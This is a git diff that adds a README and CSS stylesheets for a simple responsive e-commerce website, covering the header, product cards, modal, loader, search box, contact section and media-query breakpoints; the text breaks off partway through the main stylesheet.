diff --git a/E-commerce website/Readme.md b/E-commerce website/Readme.md new file mode 100644 index 0000000..6fbf0c0 --- /dev/null +++ b/E-commerce website/Readme.md @@ -0,0 +1,4 @@ +# E-COM + +E-COMMERCE site with product images, descriptions, and reviews. It displays a list of products with images, titles, prices, and descriptions. Display average ratings and sort reviews by helpfulness or date. +Ensure the website is responsive and accessible on various devices (desktop, mobile, tablet) and also has Pricing and availability of the products diff --git a/E-commerce website/css/about.css b/E-commerce website/css/about.css new file mode 100644 index 0000000..cfb3698 --- /dev/null +++ b/E-commerce website/css/about.css @@ -0,0 +1,98 @@ +/* ...............styleing the header ................. */ +header { + background-image: url(../images/banner4.png); + height: 60vh; +} + +/* ...............styleing the Main body starts................. */ +.hidden{ + opacity: 0; + transition: 1.5s ease; + transform: translateY(180px); + filter: blur(5px); +} +.show{ + transition: 1.5s ease; + transform: translateY(0px); + opacity: 1; + filter: blur(0); +} +.raised { + transform: translateY(-30vh); + position: relative; + z-index: 200; + margin: 30px; + padding: 30px; + background-color: white; +} +.section1 h1, .section3 h1, .section4 h1{ + font-size: 50px; +} +.section1 , .section4 { + display: flex; + justify-content: space-between; + align-items: center; +} +.section1 img{ + width: 50vw; + margin-left: 30px; +} +.section2 blockquote h1 { + margin: 30px; +} +.section3 .stats-holder{ + margin-top: 100px; + display: flex; + justify-content: space-around; + align-items: center; +} +.section3 .stats-holder .stats .stats-counter{ + display: flex; + justify-content: center; + align-items: center; +} +.section3 .stats-holder .stats .stats-counter span { + font-size: 30px; +} +.section3 .stats-holder .stats div b { + font-size: 18px; +} +.section3 h1{ + font-size: 50px; +} +.stats-info{ + padding: 30px; + text-align: center; +} +.section4{ + margin-top: 100px; + flex-direction: row-reverse; +} +.section4 img{ + max-width: 50vw; + margin: 30px; + margin-left: 0px; +} +.section5{ + text-align: center; + transform: translateY(-20vh); +} +.section5 .products-holder{ + display: flex; + justify-content: space-around; + overflow-x: scroll; +} +.section5 .products-holder .product-cards{ + width: 300px; + height: 350px; + display: flex; + justify-content: center; + align-items: center; +} +.product-cards img{ + width: 300px; + filter: drop-shadow(7px 2px 10px rgba(0, 0, 0, 0.215)); +} +.section6{ + +} diff --git a/E-commerce website/css/privacyPolicy.css b/E-commerce website/css/privacyPolicy.css new file mode 100644 index 0000000..04253b3 --- /dev/null +++ b/E-commerce website/css/privacyPolicy.css @@ -0,0 +1,140 @@ +/*--------------------------------------------------------------------- File Name: style.css ---------------------------------------------------------------------*/ +/*-------- impor utils.css------------*/ +@import url(./utils.css); +/*--------------------------------------------------------------------- import Fonts ---------------------------------------------------------------------*/ + +@import url('https://fonts.googleapis.com/css?family=Rajdhani:300,400,500,600,700'); +@import url('https://fonts.googleapis.com/css?family=Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i'); +@import url('https://fonts.googleapis.com/css?family=Raleway:100,400,600,700,900&display=swap'); +@import url('https://fonts.googleapis.com/css?family=Dosis:400,500,600,700,800&display=swap'); + +/*****---------------------------------------- 1) font-family: 'Rajdhani', sans-serif; + 2) font-family: 'Poppins', sans-serif; + ----------------------------------------*****/ + +/*--------------------------------------------------------------------- skeleton ---------------------------------------------------------------------*/ + +* { + box-sizing: border-box !important; +} + +html { + scroll-behavior: smooth; +} + +body { + color: #666666; + font-size: 14px; + font-family: 'Poppins', sans-serif; + line-height: 1.80857; + font-weight: normal; + background-color: var(--primary-background-color); +} + +h1, +h2, +h3, +h4, +h5, +h6 { + letter-spacing: 0; + font-weight: normal; + position: relative; + padding: 0 0 10px 0; + font-weight: normal; + line-height: normal; + color: #111111; + margin: 10px 0 10px 0; +} + +h1 { + font-size: 24px; +} + +h2 { + font-size: 22px; +} + +h3 { + font-size: 18px; +} + +h4 { + font-size: 16px; +} + +h5 { + font-size: 14px; +} + +h6 { + font-size: 13px; +} + +.privacy-wrapper p { + font-weight: 500; + font-size: 15px; + line-height: 24px; + text-align: justify; +} + +.privacy-container { + width: 100%; + height: 100%; + padding: 0 15px; +} + +.privacy-header h1 { + margin: 0; + padding: 0; + text-align: center; + margin-top: 10px; +} + +.privacy-wrapper { + margin: 15px auto; + width: 80%; + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; +} + +.privacy-headerbody { + margin-bottom: 15px; +} + +.privacy-section { + padding: 15px 0px; +} + +.privacy-section h3 { + margin-bottom: 5px; +} + +@media (max-width: 768px) { + .privacy-container { + padding: 0 10px; + } + + .privacy-wrapper { + width: 83%; + margin: 10px auto; + } + + .privacy-header h1 { + margin-top: 6px; + } + + .privacy-headerbody { + margin-bottom: 10px; + } + + .privacy-section { + padding: 10px 0px; + } + + .privacy-section h3 { + margin-bottom: 2px; + } +} diff --git a/E-commerce website/css/products-responsive.css b/E-commerce website/css/products-responsive.css new file mode 100644 index 0000000..35eab4d --- /dev/null +++ b/E-commerce website/css/products-responsive.css @@ -0,0 +1,10 @@ +@media only screen and (max-width: 600px) { + .modal-buy .product{ + flex-direction: column; + justify-content: center; + } + .modal-buy .product img{ + width: 70vw; + margin: 30px; + } +} \ No newline at end of file diff --git a/E-commerce website/css/products.css b/E-commerce website/css/products.css new file mode 100644 index 0000000..77a15f3 --- /dev/null +++ b/E-commerce website/css/products.css @@ -0,0 +1,169 @@ +/* ..........imports for utility styles ............*/ +@import url(./utils.css); + +/* .........styling the loder .......*/ +.loder{ + height: 100vh; + position: fixed; + z-index: 10000 !important; + width: 100%; + background-color: white; +} +.loder img{ + height: 50vh; +} +/*................ styleing the modal ........ */ +.modal-buy{ + position: fixed; + z-index: 1000 !important; + height: 100vh; + width: 100%; + background-color: white; + scale: 0; + transition: 0.5s ease-in-out; +} +.modal-buy .cancelBuy{ + width: 100%; + text-align: right; + padding-right: 30px; + padding-top:30px; +} +.cancelBuy img{ + cursor: pointer; +} +.modal-buy .product{ + height: 100%; + display: flex; + justify-content: space-between; + align-items: center; + margin: 30px; +} +.modal-buy .product img{ + width: 40vw; +} +/* for dynamically genered calass test in product .js */ +.modal-buy .product .productBuyDescription p{ + width: 50vw; + font-size: 22px; +} +.modal-buy .product .productBuyDescription .price{ + margin-top: 30px; + margin-bottom: 20px; +} +.modal-buy .product .productBuyDescription select{ + padding: 10px; + padding-right: 30px !important; + margin-right: 30px; + border: 1px solid var(--pink); + border-radius: 5px; + color: black; + font-size: large; + font-weight: bold; + background-color: rgb(255, 238, 241); + margin-bottom: 30px; +} +.modal-buy .product .productBuyDescription input{ + padding: 10px; + border-radius: 5px; + border: 2px solid pink; + background-color: rgb(255, 238, 241); + font-weight: bold; + color: black; +} +/* dynamically generated class style end */ +.active-modal{ + scale: 1; +} +/* ...............styleing the header ................. */ +header { + background-image: url(../images/banner4.png); + height: 60vh; +} + + +/* ...............styleing the Main body starts................. */ +main { + transform: translateY(-30vh); + position: relative; + z-index: 200; + padding: 30px; +} +.products-holder{ + display: flex; + flex-wrap: wrap; + flex-grow: 1; + font-size: 13px; + line-height: 12px; + justify-content: center; +} +.products_card_l { + height: 380px; + width: 255px; + background-color: white; + line-height: 20px; + border: 2px solid rgba(128, 128, 128, 0.104); + border-radius: 10px; + margin-top: 30px; + margin-right: 20px; + margin-left: 20px; + box-shadow: 0px 1px 3px 1px rgba(0,0,0,0.1); + padding: 10px; +} +.products_card_l:hover{ + transform: translateY(-10px); + scale: 1.05; +} +.products_card_l .product_img, +.products_card_l .product_img img { + height: 280px; + width: 240px; + margin: auto; +} +.products_card_l .product_img img { + padding: 10px; + border-radius: 15px; + padding-top: 0px; + margin-top: -25px; +} +.products_card_l .product_img i { + position: relative; + z-index: 200; + top: 10px; +} +.products_card_l .product_img i img{ + height: 32px; + width: 32px; + padding: 0px !important ; + float: right; + margin-right: 10px; + margin-top: 0px; +} +.products_card_l .product_img i img:hover { + animation: siver 0.3s ease-in-out 1; +} +@keyframes siver { + 0% { + transform: rotateZ(0deg); + } + 20% { + transform: rotateZ(30deg); + } + 40% { + transform: rotateZ(10deg); + } + 40% { + transform: rotateZ(40deg); + } + 100% { + transform: rotateZ(0deg); + } +} +.products_card_l .product_details { + font-size: 15px; + margin-left: 10px; + padding-top: 5px; +} +.products_card_l .product_details .price{ + color: black; +} +/* ...............styleing the Main body starts................. */ diff --git a/E-commerce website/css/responsive.css b/E-commerce website/css/responsive.css new file mode 100644 index 0000000..0b9f8a0 --- /dev/null +++ b/E-commerce website/css/responsive.css @@ -0,0 +1,294 @@ +/*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/ + +/*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/ + +@media (min-width: 1200px) and (max-width: 1342px) { + .navigation.navbar-dark .navbar-nav .nav-link { + padding: 0px 20px; + } + .banner-img { + width: 620px; + height: 447px; + } + .text-bg span { + font-size: 41px; + } +} + +@media (min-width: 992px) and (max-width: 1199px) { + .navigation.navbar-dark .navbar-nav .nav-link { + padding: 0px 11px; + } + .banner-img { + width: 516px; + height: 372px; + } + .text-bg h1 { + font-size: 56px; + line-height: 66px; + padding-bottom: 21px; + } + .text-bg span { + font-size: 31px; + line-height: 42px; + } + .text-bg a { + max-width: 163px; + } + .laptop .titlepage h2 { + font-size: 78px; + } + .laptop_box { + margin-right: 0px; + } +} + +@media (min-width: 768px) and (max-width: 991px) { + .navigation.navbar-dark .navbar-nav .nav-link { + padding: 0px 9px; + } + .banner_main { + min-height: 705px; + } + .banner-img { + width: 404px; + height: 290px; + } + .about-img { + height: 600px; + width: 100%; + } + .text-bg h1 { + font-size: 40px; + line-height: 65px; + padding-bottom: 10px; + } + .text-bg span { + font-size: 21px; + line-height: 23px; + } + .text-bg a { + max-width: 107px; + padding: 9px 0px; + } + .d_none { + display: none; + } + + .box_text p { + font-size: 15px; + line-height: 23px; + } + .titlepage p { + font-size: 30px; + line-height: 36px; + } + .titlepage h2 { + font-size: 56px; + line-height: 66px; + } + .about_us li { + margin-bottom: 30px; + } +} + +@media (min-width: 576px) and (max-width: 767px) { + .text-bg h1 { + font-size: 70px; + line-height: 40px; + padding-bottom: 25px; + } + #banner1 .carousel-inner { + padding-right: 0; + } + .text_img { + margin-right: 0px; + } + .banner-img { + width: 510px; + height: 367px; + } + #banner1 .carousel-indicators { + bottom: -40px; + } + .text-bg span { + font-size: 38px; + } + .text-bg a { + margin-bottom: 30px; + max-width: 202px; + } + .box_text { + margin-bottom: 30px; + } + .bottom_form h3, + .footer h3 { + margin-top: 30px; + } + .laptop_box { + margin-right: 0px; + margin-top: 30px; + } + .main_form { + margin: 0; + } + ul.location_icon li { + font-size: 17px; + padding-left: 13px; + } + .navigation.navbar { + float: right; + display: inherit !important; + padding: 0; + width: 100%; + padding-top: 12px; + } + .navigation .navbar-collapse { + background: #fb8da7; + padding: 20px; + margin-top: 64px; + position: absolute; + width: 100%; + margin-right: 20px; + z-index: 999; + } + .navigation.navbar-dark .navbar-nav .nav-link { + padding: 10px 0; + color: #000; + } + .navigation.navbar-dark .navbar-nav .nav-link:focus, + .navigation.navbar-dark .navbar-nav .nav-link:hover { + color: #fff; + } + .navigation.navbar-dark .navbar-nav .active > .nav-link, + .navigation.navbar-dark .navbar-nav .nav-link.active, + .navigation.navbar-dark .navbar-nav .nav-link.show, + .navigation.navbar-dark .navbar-nav .show > .nav-link { + color: #fff; + } + .navigation.navbar-dark .navbar-toggler { + border: inherit; + float: right; + padding-top: 6px; + } + .navigation.navbar-dark .navbar-toggler-icon { + background: url(../images/menu_icon.png); + background-repeat: no-repeat; + } + .d_none { + display: none; + } +} + +@media (max-width: 575px) { + .header { + padding: 30px 0px 15px 0px; + } + .logo { + text-align: center !important; + padding-bottom: 6px; + float: left; + } + #banner1 .carousel-inner { + padding-right: 0; + } + .about-img { + height: 350px; + width: 100%; + } + .text_img { + margin-right: 0px; + margin-top: 30px; + } + #banner1 .carousel-indicators { + bottom: -40px; + } + .banner-img { + width: 320px; + height: 230px; + } + .text-bg h1 { + font-size: 47px; + line-height: 40px; + padding-bottom: 10px; + } + .text-bg span { + font-size: 25px; + line-height: 47px; + } + .text-bg a { + max-width: 132px; + padding: 10px 0px; + } + .box_text { + margin-bottom: 30px; + } + .titlepage p { + font-size: 28px; + line-height: 40px; + } + + .titlepage h2 { + font-size: 30px; + } + .main_form { + margin: 0px; + padding: 70px 30px; + } + .footer h3, + .bottom_form h3 { + margin-top: 30px; + } + .navigation.navbar { + float: right; + display: inherit !important; + padding: 0; + width: 100%; + margin-top: -96px; + } + .navigation .navbar-collapse { + background: #fb8da7; + padding: 20px; + margin-top: 67px; + position: absolute; + width: 100%; + margin-right: 20px; + z-index: 999; + } + .navigation.navbar-dark .navbar-nav .nav-link { + padding: 10px 0; + color: #000; + } + .navigation.navbar-dark .navbar-nav .nav-link:focus, + .navigation.navbar-dark .navbar-nav .nav-link:hover { + color: #fff; + } + .navigation.navbar-dark .navbar-nav .active > .nav-link, + .navigation.navbar-dark .navbar-nav .nav-link.active, + .navigation.navbar-dark .navbar-nav .nav-link.show, + .navigation.navbar-dark .navbar-nav .show > .nav-link { + color: #fff; + } + .navigation.navbar-dark .navbar-toggler { + float: right; + margin-right: 2px; + border: inherit; + } + .testimonial_box { + padding: 0px 19px 40px 20px; + } + .navigation.navbar-dark .navbar-toggler-icon { + background: url(../images/menu_icon.png); + background-repeat: no-repeat; + } + .d_none { + display: none; + } + @media (max-width:330px) { + .SubmitBtn{ + width:auto; + } + + } + +} diff --git a/E-commerce website/css/style.css b/E-commerce website/css/style.css new file mode 100644 index 0000000..ba7a42d --- /dev/null +++ b/E-commerce website/css/style.css @@ -0,0 +1,1367 @@ +/*--------------------------------------------------------------------- File Name: style.css ---------------------------------------------------------------------*/ +/*-------- impor utils.css------------*/ +@import url(./utils.css); +/*--------------------------------------------------------------------- import Fonts ---------------------------------------------------------------------*/ + +@import url("https://fonts.googleapis.com/css?family=Rajdhani:300,400,500,600,700"); +@import url("https://fonts.googleapis.com/css?family=Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i"); +@import url("https://fonts.googleapis.com/css?family=Raleway:100,400,600,700,900&display=swap"); +@import url("https://fonts.googleapis.com/css?family=Dosis:400,500,600,700,800&display=swap"); + +/*****---------------------------------------- 1) font-family: 'Rajdhani', sans-serif; + 2) font-family: 'Poppins', sans-serif; + ----------------------------------------*****/ + +/*--------------------------------------------------------------------- skeleton ---------------------------------------------------------------------*/ + +* { + box-sizing: border-box !important; +} + +html { + scroll-behavior: smooth; +} + +body { + color: #666666; + font-size: 14px; + font-family: "Poppins", sans-serif; + line-height: 1.80857; + font-weight: normal; + background-color: var(--primary-background-color); +} + +a { + color: #1f1f1f; + text-decoration: none !important; + outline: none !important; + -webkit-transition: all 0.3s ease-in-out; + -moz-transition: all 0.3s ease-in-out; + -ms-transition: all 0.3s ease-in-out; + -o-transition: all 0.3s ease-in-out; + transition: all 0.3s ease-in-out; +} + +h1, +h2, +h3, +h4, +h5, +h6 { + letter-spacing: 0; + font-weight: normal; + position: relative; + padding: 0 0 10px 0; + font-weight: normal; + line-height: normal; + color: #111111; + margin: 0; +} + +h1 { + font-size: 24px; +} + +h2 { + font-size: 22px; +} + +h3 { + font-size: 18px; +} + +h4 { + font-size: 16px; +} + +h5 { + font-size: 14px; +} + +h6 { + font-size: 13px; +} + +*, +*::after, +*::before { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +h1 a, +h2 a, +h3 a, +h4 a, +h5 a, +h6 a { + color: #212121; + text-decoration: none !important; + opacity: 1; +} + +button:focus { + outline: none; +} + +ul, +li, +ol { + margin: 0px; + padding: 0px; + list-style: none; +} + +p { + margin: 0px; + font-weight: 500; + font-size: 15px; + line-height: 24px; +} + +.offerp { + color: white; +} + +a { + color: var(--color-dark-1); + text-decoration: none; + outline: none !important; +} + +a, +.btn { + text-decoration: none !important; + outline: none !important; + -webkit-transition: all 0.3s ease-in-out; + -moz-transition: all 0.3s ease-in-out; + -ms-transition: all 0.3s ease-in-out; + -o-transition: all 0.3s ease-in-out; + transition: all 0.3s ease-in-out; +} + +:focus { + outline: 0; +} + +.form-control:focus { + border-color: #ffffff !important; + box-shadow: 0 0 0 0.2rem rgba(255, 255, 255, 0.25); +} + +blockquote { + margin: 20px 0 20px; + padding: 30px; +} + +button { + border: 0; + margin: 0; + padding: 0; + cursor: pointer; +} + +/*---------------------------- preloader area ----------------------------*/ + +.loader_bg { + position: fixed; + z-index: 9999999; + background: var(--primary-background-color); + width: 100%; + height: 100%; + display: flex; + justify-content: center; + align-items: center; +} + +.loader-wrapper { + width: 200px; + height: 60px; + position: relative; + z-index: 1; +} + +.loader-circle { + width: 20px; + height: 20px; + position: absolute; + border-radius: 50%; + background-color: #a52a2a; + left: 15%; + transform-origin: 50%; + animation: circle7124 0.5s alternate infinite ease; +} + +@keyframes circle7124 { + 0% { + top: 60px; + height: 5px; + border-radius: 50px 50px 25px 25px; + transform: scaleX(1.7); + } + + 40% { + height: 20px; + border-radius: 50%; + transform: scaleX(1); + } + + 100% { + top: 0%; + } +} + +.loader-circle:nth-child(2) { + left: 45%; + animation-delay: 0.2s; +} + +.loader-circle:nth-child(3) { + left: auto; + right: 15%; + animation-delay: 0.3s; +} + +.loader-shadow { + width: 20px; + height: 4px; + border-radius: 50%; + background-color: #a52a2a; + position: absolute; + top: 62px; + transform-origin: 50%; + z-index: -1; + left: 15%; + filter: blur(1px); + animation: shadow046 0.5s alternate infinite ease; +} + +@keyframes shadow046 { + 0% { + transform: scaleX(1.5); + } + + 40% { + transform: scaleX(1); + opacity: 0.7; + } + + 100% { + transform: scaleX(0.2); + opacity: 0.4; + } +} + +.loader-shadow:nth-child(4) { + left: 45%; + animation-delay: 0.2s; +} + +.loader-shadow:nth-child(5) { + left: auto; + right: 15%; + animation-delay: 0.3s; +} + +/*---------------------------- Scroll progress bar ----------------------------*/ + +.progressBar { + position: fixed; + top: 0; + left: 0; + height: 6px; + background: linear-gradient(to right, #ff758c 0%, #ff7eb3 100%); + width: 0; + z-index: 1000; + transition: width 0.2s ease-out; +} + +ul.btn { + float: right; +} + +ul.btn li { + display: inline-block; + padding: 0 25px; +} + +ul.btn li a { + color: #fff; + font-size: 16px; +} + +ul.btn li:last-child { + padding-right: 0; +} + +.login_btn { + padding-left: 50px; +} + +.login_btn a { + background-color: #fff; + display: inline-block; + padding: 7px 35px; + border-radius: 10px; + color: #292e39 !important; + font-size: 17px; +} + +.login_btn a:hover { + color: #fff !important; + background: #0808ff; +} +/* styleing for the search bar */ +.searchBox { + transform: translateY(-300px); + background-color: white !important; + transition: 0.5s ease; + position: absolute; + right: 30px; + top: 60px; + border-radius: 5px; + border-bottom-left-radius: 5px; + border-bottom-right-radius: 5px; +} +.searchBox-active { + display: inline-block; + transform: scaleY(1); +} +#searchInput { + padding: 10px; +} +.suggestionBox { + display: none; + overflow-y: scroll; + max-height: 200px; + width: 100%; +} +/*styling the dynamically generated list*/ +.suggestionBox li { + cursor: pointer; + padding: 10px; + width: 100%; +} +.suggestionBox li:nth-child(2n) { + background-color: #ececec; +} +.suggestionBox li:hover { + transition: 0.3s ease; + background-color: pink; +} +.suggestionBox-active { + display: block; +} +/* -------------------------------------------------- +================================================== +-------------------------------------------------- */ + +/* --------------------------- + +Style For Header section + +-------------------------- */ + +.full { + width: 100%; + float: left; + margin: 0; + padding: 0; +} + +.navigation.navbar { + float: right; + padding-top: 31px !important; + padding: 0; +} + +.navigation.navbar-dark .navbar-nav .nav-link { + padding: 0 25px; + color: #fff; + font-size: 17px; + line-height: 20px; + font-weight: 500; +} + +.navigation.navbar-dark .navbar-nav .nav-link:focus, +.navigation.navbar-dark .navbar-nav .nav-link:hover { + color: var(--color-pink); +} + +.navigation.navbar-dark .navbar-nav .active > .nav-link, +.navigation.navbar-dark .navbar-nav .nav-link.active, +.navigation.navbar-dark .navbar-nav .nav-link.show, +.navigation.navbar-dark .navbar-nav .show > .nav-link { + color: var(--color-pink); +} + +.navbar-expand-md .navbar-nav { + padding-right: 10px; +} + +.header { + width: 100%; + padding: 30px 30px; + background: transparent; + position: absolute; + z-index: 999; +} + +.logo a { + font-size: 40px; + font-weight: bold; + text-transform: uppercase; + color: #fff; + line-height: 40px; +} + +.logo a img { + width: 131px; + height: 76px; +} + +/* --------------------------- + +Style For Banner section + +-------------------------- */ + +.banner_main { + background: url(../images/banner4.png); + background-repeat: no-repeat; + min-height: 1070px; + background-size: 100% 100%; + display: flex; + justify-content: center; + align-content: center; + align-items: center; + position: relative; + padding: 0 5px; + bottom:80px; +} +.banner_main::before { + position: absolute; + content: ""; + width: 50px; + height: 40px; + background: url(../images/cross.png); + background-repeat: no-repeat; + bottom: -38px; + right: 38px; +} +.banner_main::after { + position: absolute; + content: ""; + width: 50px; + height: 40px; + background: url(../images/cross.png); + background-repeat: no-repeat; + bottom: -38px; + left: 38px; +} + +/* --------------------------------------- + +Style For The Background Text in Banner + +------------------------------------------ */ + +.text-bg { + text-align: left; +} + +.text-bg h1 { + color: #fff; + font-size: 78px; + line-height: 80px; + padding-bottom: 45px; + font-weight: bold; +} + +.text-bg span { + color: #fff; + font-size: 32px; + line-height: 50px; + font-weight: normal; + padding-bottom: 18px; + display: block; +} + +.text-bg p { + line-height: 28px; + font-weight: 500; + padding-bottom: 60px; + display: block; +} + +.text_img { + margin-right: -130px; +} + +.carousel-caption { + position: inherit; +} + +#banner1 .carousel-inner { + padding-right: 130px; +} + +#banner1 .carousel-indicators { + left: inherit; +} + +#banner1 .carousel-indicators li { + width: 20px; + height: 20px; + border-radius: 20px; + background: var(--color-pink); + margin-right: 5px; + margin-left: 5px; +} + +#banner1 .carousel-indicators li.active { + background: #c54545; +} + +#banner1 a.carousel-control-next, +#banner1 a.carousel-control-prev { + display: none; +} + +/* +Styles for Banner image +*/ + +.banner-img { + display: flex; + justify-content: center; + align-items: center; + overflow: hidden; + margin: 0 auto; +} +.banner-img img { + width: 100%; + height: 100%; + object-fit: contain; +} + +/* --------------------------- + +Style For Banner section Buttons + +-------------------------- */ + +.text-bg a { + font-size: 17px; + background-color: transparent; + border: #fff solid 2px; + color: #fff; + font-weight: 500; + padding: 4px 0px; + border-radius: 6px; + width: 100%; + max-width: 215px; + text-align: center; + display: inline-block; + transition: ease-in all 0.5s; + margin-right: 10px; +} + +.text-bg a:hover { + background-color: #de5a5a; + color: #fff; + transition: ease-in all 0.5s; +} + +/* colors_used: var(--color-pink), #de5a5a (dark pink), 361C16 (brown)*/ + +/* ------------------------------------- +===================================== +------------------------------------- */ + +/* --------------------------- + +Style For Card-service Section + +-------------------------- */ + +.service_img { + width: 50px; + height: 50px; + margin: 0 auto 10px auto; +} + +.service_img img { + width: 100%; + height: 100%; + object-fit: contain; +} + +.card-service { + display: block; + margin: 16px auto; + padding: 32px 20px; + max-width: 300px; + text-align: center; + color: var(--text-color); + border-radius: 8px; + + box-shadow: 0 3px 12px rgba(95, 92, 120, 0.12); + background: var(--secondary-background-color); + + box-shadow: 1px 1px 10px 5px rgba(255, 255, 255, 0.08); + background: var(--secondary-background-color); + transition: 0.5s; + + display: block; + margin: 16px auto; + padding: 32px 20px; + max-width: 300px; + text-align: center; + color: var(--text-color); + border-radius: 8px; + box-shadow: 0 3px 12px rgba(95, 92, 120, 0.12); + background: var(--secondary-background-color); +} + +.card-service:hover { + transform: translateY(-5px); + box-shadow: 1px 1px 10px 5px rgba(255, 255, 255, 0.15); +} +/* ------------------------------------------------ +=============================================== +------------------------------------------------ */ + +/* --------------------------- + +Style For Categories Section + +-------------------------- */ + +.categories { + text-align: center; + padding: 12px; + border: solid 1px transparent; +} + +.categories:hover { + background-color: #593f39; + border: solid 1px #645f88; + border-radius: 12px; + height: 100%; +} + +.categories:hover img { + transform: scale(1.1); + will-change: transform; + transition-duration: 0.6s ease all; +} + +.categories:hover h5, +.categories:hover p { + color: rgb(176, 173, 173); +} + +.categories .headimg { + width: 150px; + height: 140px; + margin: 0 auto; + overflow: hidden; + border-radius: 50%; + margin-bottom: 18px; + background-color: white; +} + +.cat-btn { + display: block !important; + margin: 0 auto !important; + width: max-content !important; +} + +.categories .headimg img { + width: 100%; + height: 100%; + object-fit: contain; +} + +.innerimg { + line-height: 60px; + border-radius: 50%; + text-align: center; + font-size: 24px; + box-shadow: 0 2px 14px rgba(95, 92, 120, 0.16); + width: 150px; + height: 130px !important; +} + +.categories h5 { + color: #2d2b3a; +} + +.dark-mode .categories h5 { + color: var(--color-dark-1); +} + +.categories p { + font-size: 13px; + color: #898798; +} + +/* -------------------------------------- +====================================== +-------------------------------------- */ + +/* --------------------------- + +Style For About Us Section + +-------------------------- */ + +/* Added background using css variables instead of using hardcoded value */ +.aboutusbtn { + background-color: var(--color-pink); + color: white; + font-weight: 400; +} + +.about-img { + height: 473px; + width: 100%; +} + +.about-img img { + width: 100%; + height: 100%; + object-fit: contain; +} + +/* --------------------------- + +Style For New Arrivals Section + +-------------------------- */ +/* Added background using css variables instead of using hardcoded value */ +#arrivals { + background-color: var(--secondary-background-color); +} +.arrival-card { + display: block; + margin: 0 auto; + padding: 1rem; + max-width: 280px; + border-radius: 4px; + box-shadow: 0 2px 6px rgba(100, 95, 136, 0.16); + overflow: hidden; + background: var(--secondary-background-color); +} +.arrival-card:hover { + cursor: pointer; + scale: 1.05; +} + +.arrival-card .arrival_picture { + display: flex; + justify-content: center; + margin-bottom: 10px; + width: 100%; + height: 200px; +} + +.arrival-card .arrival_picture img { + width: 100%; + height: 100%; + object-fit: cover; + border-radius: 4px; +} + +.arrival-card .bodycont { + padding: 10px 10px; + text-align: center; +} + +.arrival-card .arrival-title a { + color: #645f88; + transition: color 0.2s ease; +} + +/* ------------------------------------ +==================================== +------------------------------------ */ + +/* --------------------------- + +Style For Customer Review section + +-------------------------- */ +.titlepage { + text-align: center; + padding-bottom: 60px; +} + +.titlepage h2 { + font-size: 40px; + color: var(--color-dark-1); + line-height: 55px; + font-weight: bold; + padding: 0; + text-transform: uppercase; + border-bottom: var(--color-pink) solid 1px; + max-width: 315px; + margin: auto; +} + +.d_flex { + display: flex; + align-items: center; + flex-wrap: wrap; +} + +.read_more { + font-size: 17px; + background-color: #fe7696; + color: #fff !important; + padding: 13px 0px; + width: 100%; + max-width: 190px; + text-align: center; + display: inline-block; + transition: ease-in all 0.5s; + font-weight: 500; +} + +.read_more:hover { + background: #000; + color: #fff; + transition: ease-in all 0.5s; +} + +.customer { + padding: 90px 0px 140px 0px; +} + +.customer .titlepage h2 { + max-width: 385px; +} + +.customer_Carousel .carousel-caption { + position: inherit; + padding: 0; +} + +.customer_box { + text-align: center; +} + +.test_box { + text-align: left; +} + +.customer_Carousel .test_box h4 { + font-size: 30px; + color: var(--color-dark-1); + line-height: 28px; + display: block; + font-weight: 600; + padding: 30px 0px 30px 0px; + text-align: left; +} + +.customer_Carousel .test_box p { + font-size: 17px; + line-height: 28px; + color: var(--color-dark-2); + text-align: left; +} + +.dark-mode .customer_Carousel .test_box p { + color: var(--text-color); +} + +.dark-mode .customer-review-quote { + filter: invert(1); +} + +.customer_Carousel .carousel-indicators { + bottom: -50px; + right: inherit; + margin-left: 4px; +} + +.customer_Carousel .carousel-indicators li { + width: 20px; + height: 20px; + border-radius: 20px; + background: var(--color-pink); +} + +.customer_Carousel .carousel-indicators li.active { + background: #361c16; +} + +#myCarousel .carousel-control-next-icon, +#myCarousel .carousel-control-prev-icon { + display: none; +} + +/* ----------------------------------------------- +=============================================== +----------------------------------------------- */ + +/* --------------------------- + +Style For Contact Us section + +-------------------------- */ +.contact { + padding: 115px 0 120px; + background: url(../images/map.jpg); + background-repeat: no-repeat; + background-position: center; + background-size: cover; + position: relative; +} +.contact:before { + background: #482b24e7; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + content: ""; +} + +/*contact-head */ +.section-header.contact-head h2, +.section-header.contact-head p { + position: relative; + color: #fff; +} +.contact-form h3 { + color: #fff; + font-size: 24px; + text-transform: capitalize; + margin-bottom: 40px; +} +/*contact-head */ + +.contact-content { + padding: 0 0 0 0; + margin-top: 30px; + overflow: hidden; +} +.contact-form { + position: relative; + margin: 50px 0 0 0; +} +.contact-form .form-group { + margin-bottom: 15px; +} +.contact-form .form-control { + padding: 24px 21px; + font-size: 16px; + border: 1px solid #f9faff; + border-radius: 0px; + box-shadow: none; + outline: 0 !important; + background: #f9faff; + color: #888; + resize: none; +} +.contact-form .form-group { + padding-bottom: 7px; +} + +.contact-form .form-group .form-control:focus { + box-shadow: 0 0 15px #ff8aa5; +} + +/*--contact button--*/ +.SubmitBtn { + display: inline-block; + background: var(--color-pink); + color: #fff; + border-radius: 6px !important; + height: 50px; + width: 140px; + padding-right: 8px; + margin-right: 1.8rem; + border: 1px solid #482b24; + margin-top: 3px; + -webkit-transition: 0.5s; + -moz-transition: 0.5s; + -ms-transition: 0.5s; + -o-transition: 0.5s; + transition: 0.5s; +} + +.ResetBtn { + display: inline-block; + background: var(--color-pink); + border-radius: 6px !important; + color: #fff; + height: 50px; + width: 95px; + padding: 5px; + margin-right: 1.8rem; + border: 1px solid #361c16; + text-transform: capitalize; + margin-top: 3px; + -webkit-transition: 0.5s; + -moz-transition: 0.5s; + -ms-transition: 0.5s; + -o-transition: 0.5s; + transition: 0.5s; +} + +.SubmitBtn:hover { + color: white; + background: #000; + border: 1px solid #361c16; + box-shadow: 3px 3px 15px #ff8aa5; +} + +.ResetBtn:hover { + color: white; + background: #000; + border: 1px solid #361c16; + box-shadow: 3px 3px 15px #ff8aa5; +} +/*--contct button--*/ + +/* contact-right */ +.contact-right { + display: flex; +} + +/* contact-adress */ +.contact-adress { + margin: 68px 0 0px; + display: flex; + flex-direction: column; +} +.contact-office-address { + margin-bottom: 18px; +} +.contact-office-address h3 { + color: 